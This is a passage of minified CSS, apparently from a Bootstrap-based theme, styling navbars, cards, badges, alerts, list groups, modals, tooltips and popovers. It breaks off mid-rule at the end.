.dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.25rem;padding-bottom:.25rem}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{font-size:1.25rem;line-height:1;padding:.25rem .75rem;border:1px solid transparent;border-radius:.25rem;background-color:transparent}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;content:'';vertical-align:middle;background:no-repeat center center;background-size:100% 100%}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:1rem;padding-left:1rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:1rem;padding-left:1rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:1rem;padding-left:1rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:1rem;padding-left:1rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:1rem;padding-left:1rem}.navbar-expand>.container,.navbar-expand>.container-fluid{flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.6)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.6);border-color:transparent}.navbar-light .navbar-toggler-icon{background-image:url('data:image/svg+xml,%3csvg viewBox=\'0 0 30 30\' xmlns=\'http://www.w3.org/2000/svg\'%3e%3cpath stroke=\'rgba(0, 0, 0, 0.6)\' stroke-width=\'2\' stroke-linecap=\'round\' stroke-miterlimit=\'10\' d=\'M4 7h22M4 15h22M4 23h22\'/%3e%3c/svg%3e')}.navbar-light .navbar-text{color:rgba(0,0,0,.6)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:rgba(255,255,255,.65)}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:rgba(255,255,255,.65)}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.95)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.65)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:rgba(255,255,255,.65)}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.95);border-color:transparent}.navbar-dark .navbar-toggler-icon{background-image:url('data:image/svg+xml,%3csvg viewBox=\'0 0 30 30\' xmlns=\'http://www.w3.org/2000/svg\'%3e%3cpath stroke=\'rgba(255, 255, 255, 0.95)\' stroke-width=\'2\' stroke-linecap=\'round\' stroke-miterlimit=\'10\' d=\'M4 7h22M4 15h22M4 23h22\'/%3e%3c/svg%3e')}.navbar-dark .navbar-text{color:rgba(255,255,255,.95)}.navbar-dark .navbar-text a{color:rgba(255,255,255,.65)}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:rgba(255,255,255,.65)}.card{position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid rgba(0,0,0,.05);border-radius:.375rem;background-color:#fff;background-clip:border-box}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:.375rem;border-top-right-radius:.375rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:.375rem;border-bottom-left-radius:.375rem}.card-body{padding:1.5rem;flex:1 1 auto}.card-title{margin-bottom:1.25rem}.card-subtitle{margin-top:-.625rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.5rem}.card-header{margin-bottom:0;padding:1.25rem 1.5rem;border-bottom:1px solid rgba(0,0,0,.05);background-color:#fff}.card-header:first-child{border-radius:calc(.375rem - 1px) calc(.375rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:1.25rem 1.5rem;border-top:1px solid rgba(0,0,0,.05);background-color:#fff}.card-footer:last-child{border-radius:0 0 calc(.375rem - 1px) calc(.375rem - 1px)}.card-header-tabs{margin-right:-.75rem;margin-bottom:-1.25rem;margin-left:-.75rem;border-bottom:0}.card-header-pills{margin-right:-.75rem;margin-left:-.75rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(.375rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(.375rem - 1px);border-top-right-radius:calc(.375rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(.375rem - 1px);border-bottom-left-radius:calc(.375rem - 1px)}.card-deck{display:flex;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{margin-right:-15px;margin-left:-15px;flex-flow:row wrap}.card-deck .card{display:flex;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px;flex:1 0}}.card-group{display:flex;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{flex-flow:row wrap}.card-group>.card{margin-bottom:0;flex:1 0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.card-columns .card{margin-bottom:1.25rem}@media (min-width:576px){.card-columns{column-count:3;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion>.card{overflow:hidden}.accordion>.card:not(:first-of-type) .card-header:first-child{border-radius:0}.accordion>.card:not(:first-of-type):not(:last-of-type){border-bottom:0;border-radius:0}.accordion>.card:first-of-type{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion>.card:last-of-type{border-top-left-radius:0;border-top-right-radius:0}.accordion>.card .card-header{margin-bottom:-1px}.breadcrumb{display:flex;margin-bottom:1rem;padding:.5rem 1rem;list-style:none;border-radius:.375rem;background-color:#f6f9fc;flex-wrap:wrap}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:.5rem;content:'-';color:#8898aa}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#8898aa}.pagination{display:flex;padding-left:0;list-style:none;border-radius:.375rem}.page-link{line-height:1.25;position:relative;display:block;margin-left:-1px;padding:.5rem .75rem;color:#8898aa;border:1px solid #dee2e6;background-color:#fff}.page-link:hover{z-index:2;text-decoration:none;color:#8898aa;border-color:#dee2e6;background-color:#dee2e6}.page-link:focus{z-index:2;outline:0;box-shadow:none}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.375rem;border-bottom-left-radius:.375rem}.page-item:last-child .page-link{border-top-right-radius:.375rem;border-bottom-right-radius:.375rem}.page-item.active .page-link{z-index:1;color:#fff;border-color:#5e72e4;background-color:#5e72e4}.page-item.disabled .page-link{cursor:auto;pointer-events:none;color:#8898aa;border-color:#dee2e6;background-color:#fff}.pagination-lg .page-link{font-size:1.25rem;line-height:1.5;padding:.75rem 1.5rem}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.4375rem;border-bottom-left-radius:.4375rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.4375rem;border-bottom-right-radius:.4375rem}.pagination-sm .page-link{font-size:.875rem;line-height:1.5;padding:.25rem .5rem}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.badge{font-size:66%;font-weight:600;line-height:1;display:inline-block;padding:.35rem .375rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;text-align:center;vertical-align:baseline;white-space:nowrap;border-radius:.375rem}@media (prefers-reduced-motion:reduce){.badge{transition:none}}a.badge:focus,a.badge:hover{text-decoration:none}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.875em;padding-left:.875em;border-radius:10rem}.badge-primary{color:#2643e9;background-color:#eaecfb}.badge-primary[href]:focus,.badge-primary[href]:hover{text-decoration:none;color:#fff;background-color:#2a44db}.badge-secondary{color:#cfe3f1;background-color:#fff}.badge-secondary[href]:focus,.badge-secondary[href]:hover{text-decoration:none;color:#212529;background-color:#cadeeb}.badge-success{color:#1aae6f;background-color:#b0eed3}.badge-success[href]:focus,.badge-success[href]:hover{text-decoration:none;color:#fff;background-color:#229c68}.badge-info{color:#03acca;background-color:#aaedf9}.badge-info[href]:focus,.badge-info[href]:hover{text-decoration:none;color:#fff;background-color:#0c9cb7}.badge-warning{color:#ff3709;background-color:#fee6e0}.badge-warning[href]:focus,.badge-warning[href]:hover{text-decoration:none;color:#fff;background-color:#f93305}.badge-danger{color:#f80031;background-color:#fdd1da}.badge-danger[href]:focus,.badge-danger[href]:hover{text-decoration:none;color:#fff;background-color:#e30b36}.badge-light{color:#879cb0;background-color:#fff}.badge-light[href]:focus,.badge-light[href]:hover{text-decoration:none;color:#fff;background-color:#8b96a2}.badge-dark{color:#090c0e;background-color:#6a7783}.badge-dark[href]:focus,.badge-dark[href]:hover{text-decoration:none;color:#fff;background-color:#060607}.badge-default{color:#091428;background-color:#4172c6}.badge-default[href]:focus,.badge-default[href]:hover{text-decoration:none;color:#fff;background-color:#09111e}.badge-white{color:#e8e3e3;background-color:#fff}.badge-white[href]:focus,.badge-white[href]:hover{text-decoration:none;color:#212529;background-color:#e0e0e0}.badge-neutral{color:#e8e3e3;background-color:#fff}.badge-neutral[href]:focus,.badge-neutral[href]:hover{text-decoration:none;color:#212529;background-color:#e0e0e0}.badge-darker{color:#000;background-color:#525252}.badge-darker[href]:focus,.badge-darker[href]:hover{text-decoration:none;color:#fff;background-color:#000}.jumbotron{margin-bottom:2rem;padding:2rem 1rem;border-radius:.4375rem;background-color:#e9ecef}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;margin-bottom:1rem;padding:1rem 1.5rem;border:1px solid transparent;border-radius:.375rem}.alert-heading{color:inherit}.alert-link{font-weight:600}.alert-dismissible{padding-right:4.5rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:1rem 1.5rem;color:inherit}.alert-primary{color:#fff;border-color:#7889e8;background-color:#7889e8}.alert-primary a{font-weight:600;color:#1d32aa}.alert-primary a:hover{color:#fff}.alert-primary hr{border-top-color:#6276e4}.alert-primary .alert-link{color:#324cdd}.alert-secondary{color:#212529;border-color:#f8fbfc;background-color:#f8fbfc}.alert-secondary a{font-weight:600;color:#8dbece}.alert-secondary a:hover{color:#212529}.alert-secondary hr{border-top-color:#e6f1f4}.alert-secondary .alert-link{color:#d2e3ee}.alert-success{color:#fff;border-color:#4fd69c;background-color:#4fd69c}.alert-success a{font-weight:600;color:#1a724c}.alert-success a:hover{color:#fff}.alert-success hr{border-top-color:#3ad190}.alert-success .alert-link{color:#24a46d}.alert-info{color:#fff;border-color:#37d5f2;background-color:#37d5f2}.alert-info a{font-weight:600;color:#097487}.alert-info a:hover{color:#fff}.alert-info hr{border-top-color:#1fd0f0}.alert-info .alert-link{color:#0da5c0}.alert-warning{color:#fff;border-color:#fc7c5f;background-color:#fc7c5f}.alert-warning a{font-weight:600;color:#be2604}.alert-warning a:hover{color:#fff}.alert-warning hr{border-top-color:#fc6846}.alert-warning .alert-link{color:#fa3a0e}.alert-danger{color:#fff;border-color:#f75676;background-color:#f75676}.alert-danger a{font-weight:600;color:#ac0829}.alert-danger a:hover{color:#fff}.alert-danger hr{border-top-color:#f63e62}.alert-danger .alert-link{color:#ec0c38}.alert-light{color:#fff;border-color:#bac1c8;background-color:#bac1c8}.alert-light a{font-weight:600;color:#677582}.alert-light a:hover{color:#fff}.alert-light hr{border-top-color:#acb4bd}.alert-light .alert-link{color:#919ca6}.alert-dark{color:#fff;border-color:#45484b;background-color:#45484b}.alert-dark a{font-weight:600;color:#000}.alert-dark a:hover{color:#fff}.alert-dark hr{border-top-color:#393b3e}.alert-dark .alert-link{color:#0a0c0d}.alert-default{color:#fff;border-color:#3c4d69;background-color:#3c4d69}.alert-default a{font-weight:600;color:#040608}.alert-default a:hover{color:#fff}.alert-default hr{border-top-color:#334159}.alert-default .alert-link{color:#0b1526}.alert-white{color:#212529;border-color:#fff;background-color:#fff}.alert-white a{font-weight:600;color:#b3b3b3}.alert-white a:hover{color:#212529}.alert-white hr{border-top-color:#f2f2f2}.alert-white .alert-link{color:#e6e6e6}.alert-neutral{color:#212529;border-color:#fff;background-color:#fff}.alert-neutral a{font-weight:600;color:#b3b3b3}.alert-neutral a:hover{color:#212529}.alert-neutral hr{border-top-color:#f2f2f2}.alert-neutral .alert-link{color:#e6e6e6}.alert-darker{color:#fff;border-color:#292929;background-color:#292929}.alert-darker a{font-weight:600;color:#000}.alert-darker a:hover{color:#fff}.alert-darker hr{border-top-color:#1c1c1c}.alert-darker .alert-link{color:#000}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{font-size:.75rem;display:flex;overflow:hidden;height:1rem;border-radius:.375rem;background-color:#e9ecef;box-shadow:inset 0 .1rem .1rem rgba(0,0,0,.1)}.progress-bar{display:flex;flex-direction:column;transition:width .6s ease;text-align:center;white-space:nowrap;color:#fff;background-color:#5e72e4;justify-content:center}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{animation:progress-bar-stripes 1s linear infinite}@media (prefers-reduced-motion:reduce){.progress-bar-animated{animation:none}}.media{display:flex;align-items:flex-start}.media-body{flex:1 1}.list-group{display:flex;flex-direction:column;margin-bottom:0;padding-left:0}.list-group-item-action{width:100%;text-align:inherit;color:#525f7f}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;text-decoration:none;color:#525f7f;background-color:#f6f9fc}.list-group-item-action:active{color:#525f7f;background-color:#e9ecef}.list-group-item{position:relative;display:block;margin-bottom:-1px;padding:1rem 1rem;border:1px solid #e9ecef;background-color:#fff}.list-group-item:first-child{border-top-left-radius:.375rem;border-top-right-radius:.375rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:.375rem;border-bottom-left-radius:.375rem}.list-group-item.disabled,.list-group-item:disabled{pointer-events:none;color:#8898aa;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;border-color:#5e72e4;background-color:#5e72e4}.list-group-horizontal{flex-direction:row}.list-group-horizontal .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal .list-group-item:first-child{border-top-left-radius:.375rem;border-top-right-radius:0;border-bottom-left-radius:.375rem}.list-group-horizontal .list-group-item:last-child{margin-right:0;border-top-right-radius:.375rem;border-bottom-right-radius:.375rem;border-bottom-left-radius:0}@media (min-width:576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-sm .list-group-item:first-child{border-top-left-radius:.375rem;border-top-right-radius:0;border-bottom-left-radius:.375rem}.list-group-horizontal-sm .list-group-item:last-child{margin-right:0;border-top-right-radius:.375rem;border-bottom-right-radius:.375rem;border-bottom-left-radius:0}}@media (min-width:768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-md .list-group-item:first-child{border-top-left-radius:.375rem;border-top-right-radius:0;border-bottom-left-radius:.375rem}.list-group-horizontal-md .list-group-item:last-child{margin-right:0;border-top-right-radius:.375rem;border-bottom-right-radius:.375rem;border-bottom-left-radius:0}}@media (min-width:992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-lg .list-group-item:first-child{border-top-left-radius:.375rem;border-top-right-radius:0;border-bottom-left-radius:.375rem}.list-group-horizontal-lg .list-group-item:last-child{margin-right:0;border-top-right-radius:.375rem;border-bottom-right-radius:.375rem;border-bottom-left-radius:0}}@media (min-width:1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-xl .list-group-item:first-child{border-top-left-radius:.375rem;border-top-right-radius:0;border-bottom-left-radius:.375rem}.list-group-horizontal-xl .list-group-item:last-child{margin-right:0;border-top-right-radius:.375rem;border-bottom-right-radius:.375rem;border-bottom-left-radius:0}}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush .list-group-item:last-child{margin-bottom:-1px}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{margin-bottom:0;border-bottom:0}.list-group-item-primary{color:#313b77;background-color:#d2d8f7}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#313b77;background-color:#bcc5f3}.list-group-item-primary.list-group-item-action.active{color:#fff;border-color:#313b77;background-color:#313b77}.list-group-item-secondary{color:#808283;background-color:#fdfefe}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#808283;background-color:#ecf6f6}.list-group-item-secondary.list-group-item-action.active{color:#fff;border-color:#808283;background-color:#808283}.list-group-item-success{color:#176b47;background-color:#c4f1de}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#176b47;background-color:#afecd2}.list-group-item-success.list-group-item-action.active{color:#fff;border-color:#176b47;background-color:#176b47}.list-group-item-info{color:#096b7c;background-color:#bcf1fb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#096b7c;background-color:#a4ecfa}.list-group-item-info.list-group-item-action.active{color:#fff;border-color:#096b7c;background-color:#096b7c}.list-group-item-warning{color:#833321;background-color:#fed3ca}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#833321;background-color:#febeb1}.list-group-item-warning.list-group-item-action.active{color:#fff;border-color:#833321;background-color:#833321}.list-group-item-danger{color:#7f1c30;background-color:#fcc7d1}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#7f1c30;background-color:#fbafbd}.list-group-item-danger.list-group-item-action.active{color:#fff;border-color:#7f1c30;background-color:#7f1c30}.list-group-item-light{color:#5a5e62;background-color:#e8eaed}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#5a5e62;background-color:#dadde2}.list-group-item-light.list-group-item-action.active{color:#fff;border-color:#5a5e62;background-color:#5a5e62}.list-group-item-dark{color:#111315;background-color:#c1c2c3}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#111315;background-color:#b4b5b6}.list-group-item-dark.list-group-item-action.active{color:#fff;border-color:#111315;background-color:#111315}.list-group-item-default{color:#0c1628;background-color:#bec4cd}.list-group-item-default.list-group-item-action:focus,.list-group-item-default.list-group-item-action:hover{color:#0c1628;background-color:#b0b7c2}.list-group-item-default.list-group-item-action.active{color:#fff;border-color:#0c1628;background-color:#0c1628}.list-group-item-white{color:#858585;background-color:#fff}.list-group-item-white.list-group-item-action:focus,.list-group-item-white.list-group-item-action:hover{color:#858585;background-color:#f2f2f2}.list-group-item-white.list-group-item-action.active{color:#fff;border-color:#858585;background-color:#858585}.list-group-item-neutral{color:#858585;background-color:#fff}.list-group-item-neutral.list-group-item-action:focus,.list-group-item-neutral.list-group-item-action:hover{color:#858585;background-color:#f2f2f2}.list-group-item-neutral.list-group-item-action.active{color:#fff;border-color:#858585;background-color:#858585}.list-group-item-darker{color:#000;background-color:#b8b8b8}.list-group-item-darker.list-group-item-action:focus,.list-group-item-darker.list-group-item-action:hover{color:#000;background-color:#ababab}.list-group-item-darker.list-group-item-action.active{color:#fff;border-color:#000;background-color:#000}.close{font-size:1.5rem;font-weight:600;line-height:1;float:right;opacity:.5;color:rgba(0,0,0,.6);text-shadow:none}@media (max-width:1200px){.close{font-size:calc(1.275rem + .3vw)}}.close:hover{text-decoration:none;color:rgba(0,0,0,.6)}.close:not(:disabled):not(.disabled):focus,.close:not(:disabled):not(.disabled):hover{opacity:.75}button.close{padding:0;border:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}a.close.disabled{pointer-events:none}.modal-open{overflow:hidden}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal{position:fixed;z-index:1050;top:0;left:0;display:none;overflow:hidden;width:100%;height:100%;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:transform .3s ease-out;transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{transform:none}.modal-dialog-scrollable{display:flex;max-height:calc(100% - 1rem)}.modal-dialog-scrollable .modal-content{overflow:hidden;max-height:calc(100vh - 1rem)}.modal-dialog-scrollable .modal-footer,.modal-dialog-scrollable .modal-header{flex-shrink:0}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;min-height:calc(100% - 1rem);align-items:center}.modal-dialog-centered::before{display:block;height:calc(100vh - 1rem);content:''}.modal-dialog-centered.modal-dialog-scrollable{flex-direction:column;height:100%;justify-content:center}.modal-dialog-centered.modal-dialog-scrollable .modal-content{max-height:none}.modal-dialog-centered.modal-dialog-scrollable::before{content:none}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;pointer-events:auto;border:0 solid rgba(0,0,0,.2);border-radius:.4375rem;outline:0;background-color:#fff;background-clip:padding-box;box-shadow:0 15px 35px rgba(50,50,93,.2),0 5px 15px rgba(0,0,0,.17)}.modal-backdrop{position:fixed;z-index:1040;top:0;left:0;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.16}.modal-header{display:flex;padding:1.25rem;border-bottom:0 solid #e9ecef;border-top-left-radius:.4375rem;border-top-right-radius:.4375rem;align-items:flex-start;justify-content:space-between}.modal-header .close{margin:-1rem -1rem -1rem auto;padding:1.25rem}.modal-title{line-height:1.1;margin-bottom:0}.modal-body{position:relative;padding:1.5rem;flex:1 1 auto}.modal-footer{display:flex;padding:1.5rem;border-top:0 solid #e9ecef;border-bottom-right-radius:.4375rem;border-bottom-left-radius:.4375rem;align-items:center;justify-content:flex-end}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;overflow:scroll;width:50px;height:50px}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{max-height:calc(100% - 3.5rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-dialog-centered::before{height:calc(100vh - 3.5rem)}.modal-content{box-shadow:0 15px 35px rgba(50,50,93,.2),0 5px 15px rgba(0,0,0,.17)}.modal-sm{max-width:380px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}.tooltip{font-family:Open Sans,sans-serif;font-size:.875rem;font-weight:400;font-style:normal;line-height:1.5;position:absolute;z-index:1070;display:block;margin:0;text-align:left;text-align:start;white-space:normal;text-decoration:none;letter-spacing:normal;word-spacing:normal;text-transform:none;word-wrap:break-word;word-break:normal;opacity:0;text-shadow:none;line-break:auto}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:'';border-style:solid;border-color:transparent}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;text-align:center;color:#fff;border-radius:.375rem;background-color:#000}.popover{font-family:Open Sans,sans-serif;font-size:.875rem;font-weight:400;font-style:normal;line-height:1.5;position:absolute;z-index:1060;top:0;left:0;display:block;max-width:276px;text-align:left;text-align:start;white-space:normal;text-decoration:none;letter-spacing:normal;word-spacing:normal;text-transform:none;word-wrap:break-word;word-break:normal;border:1px solid rgba(0,0,0,.05);border-radius:.4375rem;background-color:#fff;background-clip:padding-box;box-shadow:0 .5rem 2rem 0 rgba(0,0,0,.2);text-shadow:none;line-break:auto}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .4375rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:'';border-style:solid;border-color:transparent}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top]>.arrow,.bs-popover-top>.arrow{bottom:calc((.5rem + 1px) * 